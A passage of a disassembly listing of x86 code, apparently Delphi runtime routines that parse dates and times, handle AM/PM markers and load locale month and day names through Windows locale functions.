xor ebx, ebx
jmp short loc_4000A0CD
; ---------------------------------------------------------------------------
loc_4000A0BB: ; CODE XREF: sub_4000A088+17j
mov bl, 1
jmp short loc_4000A0CD
; ---------------------------------------------------------------------------
loc_4000A0BF: ; CODE XREF: sub_4000A088+25j
inc edi
loc_4000A0C0: ; CODE XREF: sub_4000A088+Cj
mov eax, esi
call sub_40004B44
cmp edi, eax
jle short loc_4000A096
xor ebx, ebx
loc_4000A0CD: ; CODE XREF: sub_4000A088+29j
; sub_4000A088+2Dj ...
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_4000A088 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000A0D4 proc near ; CODE XREF: sub_4000A1CC+62p
; sub_4000A1CC+25Fp
push ebx
push esi
mov ebx, edx
mov esi, eax
jmp short loc_4000A0FE
; ---------------------------------------------------------------------------
loc_4000A0DC: ; CODE XREF: sub_4000A0D4+40j
mov eax, [ebx]
movzx eax, byte ptr [esi+eax-1]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000A0FC
mov edx, [ebx]
mov eax, esi
call sub_4000BBC0
mov [ebx], eax
jmp short loc_4000A0FE
; ---------------------------------------------------------------------------
loc_4000A0FC: ; CODE XREF: sub_4000A0D4+19j
inc dword ptr [ebx]
loc_4000A0FE: ; CODE XREF: sub_4000A0D4+6j
; sub_4000A0D4+26j
mov eax, esi
call sub_40004B44
cmp eax, [ebx]
jl short loc_4000A116
mov eax, [ebx]
movzx eax, byte ptr [esi+eax-1]
add al, 0D0h
sub al, 0Ah
jnb short loc_4000A0DC
loc_4000A116: ; CODE XREF: sub_4000A0D4+33j
pop esi
pop ebx
retn
sub_4000A0D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000A11C proc near ; CODE XREF: sub_4000A1CC+88p
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov ebp, eax
xor eax, eax
mov [esp+14h+var_14], eax
mov edi, 7
mov ebx, offset dword_4001E8D8
mov esi, offset dword_4001E8F4
loc_4000A137: ; CODE XREF: sub_4000A11C+47j
cmp dword ptr [ebx], 0
jz short loc_4000A165
mov eax, ebp
call sub_40004D48
push eax
mov eax, [ebx]
call sub_40004D48
pop edx
call sub_4000BC30
test eax, eax
jz short loc_4000A15C
mov eax, [esi]
mov [esp+14h+var_14], eax
jmp short loc_4000A165
; ---------------------------------------------------------------------------
loc_4000A15C: ; CODE XREF: sub_4000A11C+37j
add esi, 4
add ebx, 4
dec edi
jnz short loc_4000A137
loc_4000A165: ; CODE XREF: sub_4000A11C+1Ej
; sub_4000A11C+3Ej
mov eax, [esp+14h+var_14]
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000A11C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000A170 proc near ; CODE XREF: sub_4000A1CC+195p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp ds:dword_4001E8CC, 12h
jnz short loc_4000A1B9
cmp ebx, 63h
jg short loc_4000A1A8
call sub_400092B0
movzx ecx, ax
mov eax, [ebp+arg_0]
mov eax, [eax-4]
cdq
xor eax, edx
sub eax, edx
add ecx, eax
mov eax, ecx
mov ecx, 64h
cdq
idiv ecx
imul eax, 64h
add ebx, eax
loc_4000A1A8: ; CODE XREF: sub_4000A170+12j
mov eax, [ebp+arg_0]
cmp dword ptr [eax-4], 0
jle short loc_4000A1BF
mov eax, [ebp+arg_0]
neg dword ptr [eax-4]
jmp short loc_4000A1BF
; ---------------------------------------------------------------------------
loc_4000A1B9: ; CODE XREF: sub_4000A170+Dj
mov eax, [ebp+arg_0]
dec dword ptr [eax-4]
loc_4000A1BF: ; CODE XREF: sub_4000A170+3Fj
; sub_4000A170+47j
mov eax, [ebp+arg_0]
mov eax, [eax-4]
add eax, ebx
pop ebx
pop ebp
retn
sub_4000A170 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000A1CC proc near ; CODE XREF: sub_4000A710+14p
; sub_4000A780+25p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_28], ebx
mov [ebp+var_24], ebx
mov [ebp+var_20], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_4000A4EE
push dword ptr fs:[eax]
mov fs:[eax], esp
xor edi, edi
mov [ebp+var_16], 0
mov [ebp+var_18], 0
mov [ebp+var_1C], 0
mov [ebp+var_D], 0
mov eax, ds:dword_4001E814
call sub_4000A088
mov [ebp+var_E], al
xor eax, eax
mov [ebp+var_4], eax
mov eax, ds:dword_4001E814
cmp byte ptr [eax], 67h
jnz short loc_4000A25E
mov edx, ebx
mov eax, esi
call sub_4000A0D4
lea eax, [ebp+var_20]
push eax
mov ecx, [ebx]
dec ecx
mov edx, 1
mov eax, esi
call sub_40004DA8
mov eax, [ebp+var_20]
lea edx, [ebp+var_8]
call sub_40007BF8
mov eax, [ebp+var_8]
call sub_4000A11C
mov [ebp+var_4], eax
jmp short loc_4000A27A
; ---------------------------------------------------------------------------
loc_4000A25E: ; CODE XREF: sub_4000A1CC+5Cj
mov edx, ds:dword_4001E814
mov eax, offset dword_4000A508
call sub_4000BBF8
test eax, eax
jle short loc_4000A27A
mov eax, ds:dword_4001E8F4
mov [ebp+var_4], eax
loc_4000A27A: ; CODE XREF: sub_4000A1CC+90j
; sub_4000A1CC+A4j
lea eax, [ebp+var_19]
push eax
lea ecx, [ebp+var_10]
mov edx, ebx
mov eax, esi
call sub_40009EE0
test al, al
jz loc_4000A4CB
mov edx, ebx
movzx ecx, ds:byte_4001E811
mov eax, esi
call sub_4000A04C
test al, al
jz loc_4000A4CB
lea eax, [ebp+var_1A]
push eax
lea ecx, [ebp+var_12]
mov edx, ebx
mov eax, esi
call sub_40009EE0
test al, al
jz loc_4000A4CB
mov edx, ebx
movzx ecx, ds:byte_4001E811
mov eax, esi
call sub_4000A04C
test al, al
jz loc_4000A3AC
lea eax, [ebp+var_1B]
push eax
lea ecx, [ebp+var_14]
mov edx, ebx
mov eax, esi
call sub_40009EE0
test al, al
jz loc_4000A4CB
movzx eax, [ebp+var_E]
sub al, 1
jb short loc_4000A302
jz short loc_4000A31F
dec al
jz short loc_4000A33C
jmp short loc_4000A357
; ---------------------------------------------------------------------------
loc_4000A302: ; CODE XREF: sub_4000A1CC+12Cj
movzx edi, [ebp+var_14]
movzx eax, [ebp+var_1B]
mov [ebp+var_1C], al
movzx eax, [ebp+var_10]
mov [ebp+var_16], ax
movzx eax, [ebp+var_12]
mov [ebp+var_18], ax
jmp short loc_4000A357
; ---------------------------------------------------------------------------
loc_4000A31F: ; CODE XREF: sub_4000A1CC+12Ej
movzx edi, [ebp+var_14]
movzx eax, [ebp+var_1B]
mov [ebp+var_1C], al
movzx eax, [ebp+var_12]
mov [ebp+var_16], ax
movzx eax, [ebp+var_10]
mov [ebp+var_18], ax
jmp short loc_4000A357
; ---------------------------------------------------------------------------
loc_4000A33C: ; CODE XREF: sub_4000A1CC+132j
movzx edi, [ebp+var_10]
movzx eax, [ebp+var_19]
mov [ebp+var_1C], al
movzx eax, [ebp+var_12]
mov [ebp+var_16], ax
movzx eax, [ebp+var_14]
mov [ebp+var_18], ax
loc_4000A357: ; CODE XREF: sub_4000A1CC+134j
; sub_4000A1CC+151j ...
cmp [ebp+var_4], 0
jle short loc_4000A36B
push ebp
movzx eax, di
call sub_4000A170
pop ecx
mov edi, eax
jmp short loc_4000A3DB
; ---------------------------------------------------------------------------
loc_4000A36B: ; CODE XREF: sub_4000A1CC+18Fj
cmp [ebp+var_1C], 2
ja short loc_4000A3DB
call sub_400092B0
movzx ecx, ax
movzx eax, word_4001A7F8
sub ecx, eax
mov eax, ecx
push ecx
mov ecx, 64h
cdq
idiv ecx
pop ecx
imul ax, 64h
add di, ax
cmp word_4001A7F8, 0
jbe short loc_4000A3DB
movzx eax, di
cmp ecx, eax
jle short loc_4000A3DB
add di, 64h
jmp short loc_4000A3DB
; ---------------------------------------------------------------------------
loc_4000A3AC: ; CODE XREF: sub_4000A1CC+108j
call sub_400092B0
mov edi, eax
cmp [ebp+var_E], 1
jnz short loc_4000A3CB
movzx eax, [ebp+var_10]
mov [ebp+var_18], ax
movzx eax, [ebp+var_12]
mov [ebp+var_16], ax
jmp short loc_4000A3DB
; ---------------------------------------------------------------------------
loc_4000A3CB: ; CODE XREF: sub_4000A1CC+1EBj
movzx eax, [ebp+var_10]
mov [ebp+var_16], ax
movzx eax, [ebp+var_12]
mov [ebp+var_18], ax
loc_4000A3DB: ; CODE XREF: sub_4000A1CC+19Dj
; sub_4000A1CC+1A3j ...
mov edx, ebx
movzx ecx, ds:byte_4001E811
mov eax, esi
call sub_4000A04C
mov edx, ebx
mov eax, esi
call sub_40009EBC
cmp byte ptr ds:dword_4001E8D4, 0
jz loc_4000A4B5
mov edx, ds:dword_4001E814
mov eax, offset dword_4000A514
call sub_40004E30
test eax, eax
jz loc_4000A4B5
mov eax, ds:dword_4001E828
movzx eax, byte ptr [eax]
add al, 0D0h
sub al, 0Ah
jnb short loc_4000A439
mov edx, ebx
mov eax, esi
call sub_4000A0D4
jmp loc_4000A4B5
; ---------------------------------------------------------------------------
jmp short loc_4000A439
; ---------------------------------------------------------------------------
loc_4000A437: ; CODE XREF: sub_4000A1CC+27Fj
inc dword ptr [ebx]
loc_4000A439: ; CODE XREF: sub_4000A1CC+259j
; sub_4000A1CC+269j ...
mov eax, esi
call sub_40004B44
cmp eax, [ebx]
jl short loc_4000A44D
mov eax, [ebx]
cmp byte ptr [esi+eax-1], 20h
jnz short loc_4000A437
loc_4000A44D: ; CODE XREF: sub_4000A1CC+276j
mov edx, ebx
mov eax, esi
call sub_40009EBC
mov eax, esi
call sub_40004B44
cmp eax, [ebx]
jl short loc_4000A4B5
lea eax, [ebp+var_24]
push eax
mov eax, ds:dword_4001E820
call sub_40004B44
mov ecx, eax
mov edx, [ebx]
mov eax, esi
call sub_40004DA8
mov edx, [ebp+var_24]
mov eax, ds:dword_4001E820
call sub_40007BB4
test eax, eax
jz short loc_4000A4B5
lea eax, [ebp+var_28]
push eax
mov eax, ds:dword_4001E824
call sub_40004B44
mov ecx, eax
mov edx, [ebx]
mov eax, esi
call sub_40004DA8
mov edx, [ebp+var_28]
mov eax, ds:dword_4001E824
call sub_40007BB4
test eax, eax
jnz short loc_4000A439
loc_4000A4B5: ; CODE XREF: sub_4000A1CC+22Fj
; sub_4000A1CC+247j ...
mov eax, [ebp+var_C]
push eax
movzx ecx, [ebp+var_18]
movzx edx, [ebp+var_16]
mov eax, edi
call sub_40009050
mov [ebp+var_D], al
loc_4000A4CB: ; CODE XREF: sub_4000A1CC+C0j
; sub_4000A1CC+D8j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000A4F5
loc_4000A4D8: ; CODE XREF: sub_4000A1CC+327j
lea eax, [ebp+var_28]
mov edx, 3
call sub_400048A8
lea eax, [ebp+var_8]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000A4EE: ; DATA XREF: sub_4000A1CC+21o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000A4D8
; ---------------------------------------------------------------------------
loc_4000A4F5: ; CODE XREF: sub_4000A1CC+321j
; DATA XREF: sub_4000A1CC+307o
movzx eax, [ebp+var_D]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000A1CC endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 1
dword_4000A508 dd 65h, 0FFFFFFFFh, 3dword_4000A514 dd 646464h
; =============== S U B R O U T I N E =======================================
sub_4000A518 proc near ; CODE XREF: sub_4000A748+14p
; sub_4000A780+4Ep
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF0h
mov [esp+20h+var_20], ecx
mov esi, edx
mov ebp, eax
xor ebx, ebx
or edi, 0FFFFFFFFh
mov edx, esi
mov ecx, ds:dword_4001E820
mov eax, ebp
call sub_40009F74
test al, al
jnz short loc_4000A550
mov edx, esi
mov ecx, offset dword_4000A700
mov eax, ebp
call sub_40009F74
test al, al
jz short loc_4000A554
loc_4000A550: ; CODE XREF: sub_4000A518+24j
xor edi, edi
jmp short loc_4000A57E
; ---------------------------------------------------------------------------
loc_4000A554: ; CODE XREF: sub_4000A518+36j
mov edx, esi
mov ecx, ds:dword_4001E824
mov eax, ebp
call sub_40009F74
test al, al
jnz short loc_4000A579
mov edx, esi
mov ecx, offset dword_4000A70C
mov eax, ebp
call sub_40009F74
test al, al
jz short loc_4000A57E
loc_4000A579: ; CODE XREF: sub_4000A518+4Dj
mov edi, 0Ch
loc_4000A57E: ; CODE XREF: sub_4000A518+3Aj
; sub_4000A518+5Fj
test edi, edi
jl short loc_4000A58B
mov edx, esi
mov eax, ebp
call sub_40009EBC
loc_4000A58B: ; CODE XREF: sub_4000A518+68j
lea eax, [esp+20h+var_14]
push eax
lea ecx, [esp+24h+var_1C]
mov edx, esi
mov eax, ebp
call sub_40009EE0
test al, al
jz loc_4000A6ED
mov [esp+20h+var_1A], 0
mov [esp+20h+var_18], 0
mov [esp+20h+var_16], 0
mov edx, esi
movzx ecx, ds:byte_4001E81C
mov eax, ebp
call sub_4000A04C
test al, al
jz short loc_4000A644
lea eax, [esp+20h+var_14]
push eax
lea ecx, [esp+24h+var_1A]
mov edx, esi
mov eax, ebp
call sub_40009EE0
test al, al
jz loc_4000A6ED
mov edx, esi
movzx ecx, ds:byte_4001E81C
mov eax, ebp
call sub_4000A04C
test al, al
jz short loc_4000A644
lea eax, [esp+20h+var_14]
push eax
lea ecx, [esp+24h+var_18]
mov edx, esi
mov eax, ebp
call sub_40009EE0
test al, al
jz loc_4000A6ED
mov edx, esi
movzx ecx, ds:byte_4001E80F
mov eax, ebp
call sub_4000A04C
test al, al
jz short loc_4000A644
lea eax, [esp+20h+var_14]
push eax
lea ecx, [esp+24h+var_16]
mov edx, esi
mov eax, ebp
call sub_40009EE0
test al, al
jz loc_4000A6ED
loc_4000A644: ; CODE XREF: sub_4000A518+B4j
; sub_4000A518+E2j ...
test edi, edi
jge short loc_4000A69B
mov edx, esi
mov ecx, ds:dword_4001E820
mov eax, ebp
call sub_40009F74
test al, al
jnz short loc_4000A66D
mov edx, esi
mov ecx, offset dword_4000A700
mov eax, ebp
call sub_40009F74
test al, al
jz short loc_4000A671
loc_4000A66D: ; CODE XREF: sub_4000A518+141j
xor edi, edi
jmp short loc_4000A69B
; ---------------------------------------------------------------------------
loc_4000A671: ; CODE XREF: sub_4000A518+153j
mov edx, esi
mov ecx, ds:dword_4001E824
mov eax, ebp
call sub_40009F74
test al, al
jnz short loc_4000A696
mov edx, esi
mov ecx, offset dword_4000A70C
mov eax, ebp
call sub_40009F74
test al, al
jz short loc_4000A69B
loc_4000A696: ; CODE XREF: sub_4000A518+16Aj
mov edi, 0Ch
loc_4000A69B: ; CODE XREF: sub_4000A518+12Ej
; sub_4000A518+157j ...
test edi, edi
jl short loc_4000A6C3
cmp [esp+20h+var_1C], 0
jz short loc_4000A6ED
cmp [esp+20h+var_1C], 0Ch
ja short loc_4000A6ED
cmp [esp+20h+var_1C], 0Ch
jnz short loc_4000A6BE
mov [esp+20h+var_1C], 0
loc_4000A6BE: ; CODE XREF: sub_4000A518+19Dj
add [esp+20h+var_1C], di
loc_4000A6C3: ; CODE XREF: sub_4000A518+185j
mov edx, esi
mov eax, ebp
call sub_40009EBC
movzx eax, [esp+20h+var_16]
push eax
mov eax, [esp+24h+var_20]
push eax
movzx ecx, [esp+28h+var_18]
movzx edx, [esp+28h+var_1A]
movzx eax, [esp+28h+var_1C]
call sub_40008F48
mov ebx, eax
loc_4000A6ED: ; CODE XREF: sub_4000A518+87j
; sub_4000A518+CAj ...
mov eax, ebx
add esp, 10h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000A518 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_4000A700 dd 4D41h, 0FFFFFFFFh, 2 ; sub_4000A518+145o
dword_4000A70C dd 4D50h ; sub_4000A518+16Eo
; =============== S U B R O U T I N E =======================================
sub_4000A710 proc near ; CODE XREF: sub_40010874+69p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov [esp+0Ch+var_C], 1
mov ecx, esi
mov edx, esp
mov eax, ebx
call sub_4000A1CC
test al, al
jz short loc_4000A740
mov eax, ebx
test eax, eax
jz short loc_4000A738
sub eax, 4
mov eax, [eax]
loc_4000A738: ; CODE XREF: sub_4000A710+21j
cmp eax, [esp+0Ch+var_C]
setl al
jmp short loc_4000A742
; ---------------------------------------------------------------------------
loc_4000A740: ; CODE XREF: sub_4000A710+1Bj
xor eax, eax
loc_4000A742: ; CODE XREF: sub_4000A710+2Ej
pop edx
pop esi
pop ebx
retn
sub_4000A710 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000A748 proc near ; CODE XREF: sub_4000A780+5Dp
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov [esp+0Ch+var_C], 1
mov ecx, esi
mov edx, esp
mov eax, ebx
call sub_4000A518
test al, al
jz short loc_4000A778
mov eax, ebx
test eax, eax
jz short loc_4000A770
sub eax, 4
mov eax, [eax]
loc_4000A770: ; CODE XREF: sub_4000A748+21j
cmp eax, [esp+0Ch+var_C]
setl al
jmp short loc_4000A77A
; ---------------------------------------------------------------------------
loc_4000A778: ; CODE XREF: sub_4000A748+1Bj
xor eax, eax
loc_4000A77A: ; CODE XREF: sub_4000A748+2Ej
pop edx
pop esi
pop ebx
retn
sub_4000A748 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000A780 proc near ; CODE XREF: sub_4000CF90+35p
var_24 = dword ptr -24h
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
push ebx
push esi
push edi
add esp, 0FFFFFFE8h
mov edi, edx
mov esi, eax
mov bl, 1
mov [esp+24h+var_24], 1
xor eax, eax
mov dword ptr [esp+24h+var_14], eax
mov dword ptr [esp+24h+var_14+4], eax
lea ecx, [esp+24h+var_1C]
mov edx, esp
mov eax, esi
call sub_4000A1CC
test al, al
jnz short loc_4000A7B2
mov al, 1
jmp short loc_4000A7D5
; ---------------------------------------------------------------------------
loc_4000A7B2: ; CODE XREF: sub_4000A780+2Cj
mov eax, esi
test eax, eax
jz short loc_4000A7BD
sub eax, 4
mov eax, [eax]
loc_4000A7BD: ; CODE XREF: sub_4000A780+36j
cmp eax, [esp+24h+var_24]
jge short loc_4000A7C6
mov al, 1
jmp short loc_4000A7D3
; ---------------------------------------------------------------------------
loc_4000A7C6: ; CODE XREF: sub_4000A780+40j
lea ecx, [esp+24h+var_14]
mov edx, esp
mov eax, esi
call sub_4000A518
loc_4000A7D3: ; CODE XREF: sub_4000A780+44j
xor al, 1
loc_4000A7D5: ; CODE XREF: sub_4000A780+30j
test al, al
jz short loc_4000A7E6
mov edx, edi
mov eax, esi
call sub_4000A748
mov ebx, eax
jmp short loc_4000A80E
; ---------------------------------------------------------------------------
loc_4000A7E6: ; CODE XREF: sub_4000A780+57j
fld [esp+24h+var_1C]
fcomp ds:flt_4000A818
fstsw ax
sahf
jb short loc_4000A803
fld [esp+24h+var_1C]
fadd [esp+24h+var_14]
fstp qword ptr [edi]
wait
jmp short loc_4000A80E
; ---------------------------------------------------------------------------
loc_4000A803: ; CODE XREF: sub_4000A780+74j
fld [esp+24h+var_1C]
fsub [esp+24h+var_14]
fstp qword ptr [edi]
wait
loc_4000A80E: ; CODE XREF: sub_4000A780+64j
; sub_4000A780+81j
mov eax, ebx
add esp, 18h
pop edi
pop esi
pop ebx
retn
sub_4000A780 endp
; ---------------------------------------------------------------------------
align 4
flt_4000A818 dd 0.0 ; DATA XREF: sub_4000A780+6Ar
; =============== S U B R O U T I N E =======================================
sub_4000A81C proc near ; CODE XREF: sub_4000C41C+2Cp
; sub_4000DDD4+1E7p ...
var_105 = byte ptr -105h
var_104 = byte ptr -104h
push ebx
add esp, 0FFFFFF00h
mov ebx, edx
push 0
push 100h
lea edx, [esp+10Ch+var_104]
push edx
push 0
push eax
push 0
push 3200h
call sub_40006540 ; FormatMessageA
jmp short loc_4000A843
; ---------------------------------------------------------------------------
loc_4000A842: ; CODE XREF: sub_4000A81C+33j
; sub_4000A81C+38j
dec eax
loc_4000A843: ; CODE XREF: sub_4000A81C+24j
test eax, eax
jle short loc_4000A856
movzx edx, [esp+eax+104h+var_105]
sub dl, 21h
jb short loc_4000A842
sub dl, 0Dh
jz short loc_4000A842
loc_4000A856: ; CODE XREF: sub_4000A81C+29j
mov edx, esp
mov ecx, ebx
xchg eax, ecx
call sub_40004974
add esp, 100h
pop ebx
retn
sub_4000A81C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000A868 proc near ; CODE XREF: sub_4000A8E0+1Cp
; sub_4000AAF4+27p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF00h
push ebx
push esi
mov esi, ecx
mov ebx, [ebp+arg_0]
push 100h
lea ecx, [ebp+var_100]
push ecx
push edx
push eax
call sub_40006590 ; GetLocaleInfoA
test eax, eax
jle short loc_4000A8A1
mov ecx, eax
dec ecx
lea edx, [ebp+var_100]
mov eax, ebx
call sub_40004974
jmp short loc_4000A8AA
; ---------------------------------------------------------------------------
loc_4000A8A1: ; CODE XREF: sub_4000A868+25j
mov eax, ebx
mov edx, esi
call sub_400048D8
loc_4000A8AA: ; CODE XREF: sub_4000A868+37j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4000A868 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000A8B4 proc near ; CODE XREF: sub_4000BE64+ADp
; sub_4000BE64+C0p ...
var_10 = byte ptr -10h
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp+14h+var_10]
push eax
push esi
push edi
call sub_40006590 ; GetLocaleInfoA
test eax, eax
jle short loc_4000A8D6
movzx eax, [esp+10h+var_10]
jmp short loc_4000A8D8
; ---------------------------------------------------------------------------
loc_4000A8D6: ; CODE XREF: sub_4000A8B4+1Aj
mov eax, ebx
loc_4000A8D8: ; CODE XREF: sub_4000A8B4+20j
pop edx
pop edi
pop esi
pop ebx
retn
sub_4000A8B4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000A8E0 proc near ; CODE XREF: sub_4000A91C+46p
; sub_4000A91C+69p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], ecx
mov edi, edx
mov esi, eax
mov ebx, [ebp+arg_0]
push ebx
mov eax, [ebp+arg_8]
mov eax, [eax-4]
xor ecx, ecx
mov edx, esi
call sub_4000A868
cmp dword ptr [ebx], 0
jnz short loc_4000A913
mov eax, [ebp+var_4]
mov eax, [eax+edi*4]
mov edx, ebx
call sub_400062F0
loc_4000A913: ; CODE XREF: sub_4000A8E0+24j
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 8
sub_4000A8E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000A91C proc near ; CODE XREF: sub_4000BE64+23p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push offset loc_4000AA2F
push dword ptr fs:[eax]
mov fs:[eax], esp
call sub_400065C8 ; GetThreadLocale
mov [ebp+var_4], eax
mov ebx, 1
mov esi, offset dword_4001E830
mov edi, offset dword_4001E860
loc_4000A94F: ; CODE XREF: sub_4000A91C+83j
push ebp
push 0Bh
lea eax, [ebp+var_C]
push eax
mov ecx, offset off_4001A884
mov edx, ebx
dec edx
lea eax, [ebx+44h]
dec eax
call sub_4000A8E0
pop ecx
mov edx, [ebp+var_C]
mov eax, esi
call sub_400048D8
push ebp
push 0Bh
lea eax, [ebp+var_10]
push eax
mov ecx, offset off_4001A8B4
mov edx, ebx
dec edx
lea eax, [ebx+38h]
dec eax
call sub_4000A8E0
pop ecx
mov edx, [ebp+var_10]
mov eax, edi
call sub_400048D8
inc ebx
add edi, 4
add esi, 4
cmp ebx, 0Dh
jnz short loc_4000A94F
mov ebx, 1
mov esi, offset dword_4001E890
mov edi, offset dword_4001E8AC
loc_4000A9B0: ; CODE XREF: sub_4000A91C+F6j
lea eax, [ebx+5]
mov ecx, 7
cdq
idiv ecx
mov [ebp+var_8], edx
push ebp
push 6
lea eax, [ebp+var_14]
push eax
mov ecx, offset off_4001A8E4
mov edx, ebx
dec edx
mov eax, [ebp+var_8]
add eax, 31h
call sub_4000A8E0
pop ecx
mov edx, [ebp+var_14]
mov eax, esi
call sub_400048D8
push ebp
push 6
lea eax, [ebp+var_18]
push eax
mov ecx, offset off_4001A900
mov edx, ebx
dec edx
mov eax, [ebp+var_8]
add eax, 2Ah
call sub_4000A8E0
pop ecx
mov edx, [ebp+var_18]
mov eax, edi
call sub_400048D8
inc ebx
add edi, 4
add esi, 4
cmp ebx, 8
jnz short loc_4000A9B0
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000AA36
loc_4000AA21: ; CODE XREF: sub_4000A91C+118j
lea eax, [ebp+var_18]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000AA2F: ; DATA XREF: sub_4000A91C+11o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000AA21
; ---------------------------------------------------------------------------
loc_4000AA36: ; CODE XREF: sub_4000A91C+112j
; DATA XREF: sub_4000A91C+100o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000A91C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000AA40 proc near ; DATA XREF: sub_4000AAF4+4Eo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
mov ebx, 1
jmp short loc_4000AA54
; ---------------------------------------------------------------------------
loc_4000AA4E: ; CODE XREF: sub_4000AA40+1Cj
cmp ebx, 7
jz short loc_4000AA72
inc ebx
loc_4000AA54: ; CODE XREF: sub_4000AA40+Cj
cmp ds:dword_4001E8D4[ebx*4], 0
jnz short loc_4000AA4E
lea eax, dword_4001E8D4[ebx*4]
mov edx, [ebp+arg_0]
call sub_40004A7C
mov esi, 1
loc_4000AA72: ; CODE XREF: sub_4000AA40+11j
mov eax, esi
pop esi
pop ebx
pop ebp
retn 4
sub_4000AA40 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000AA7C proc near ; DATA XREF: sub_4000AAF4+77o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push offset loc_4000AAE1
push dword ptr fs:[eax]
mov fs:[eax], esp
xor esi, esi
mov ebx, 1
jmp short loc_4000AAA0
; ---------------------------------------------------------------------------
loc_4000AA9A: ; CODE XREF: sub_4000AA7C+2Cj
cmp ebx, 7
jz short loc_4000AACB
inc ebx
loc_4000AAA0: ; CODE XREF: sub_4000AA7C+1Cj
cmp ds:dword_4001E8F0[ebx*4], 0FFFFFFFFh
jnz short loc_4000AA9A
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004A7C
mov eax, [ebp+var_4]
xor edx, edx
call sub_40007DD4
mov ds:dword_4001E8F0[ebx*4], eax
mov esi, 1
loc_4000AACB: ; CODE XREF: sub_4000AA7C+21j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000AAE8
loc_4000AAD8: ; CODE XREF: sub_4000AA7C+6Aj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000AAE1: ; DATA XREF: sub_4000AA7C+Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000AAD8
; ---------------------------------------------------------------------------
loc_4000AAE8: ; CODE XREF: sub_4000AA7C+64j
; DATA XREF: sub_4000AA7C+57o
mov eax, esi
pop esi
pop ebx
pop ecx
pop ebp
retn 4
sub_4000AA7C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
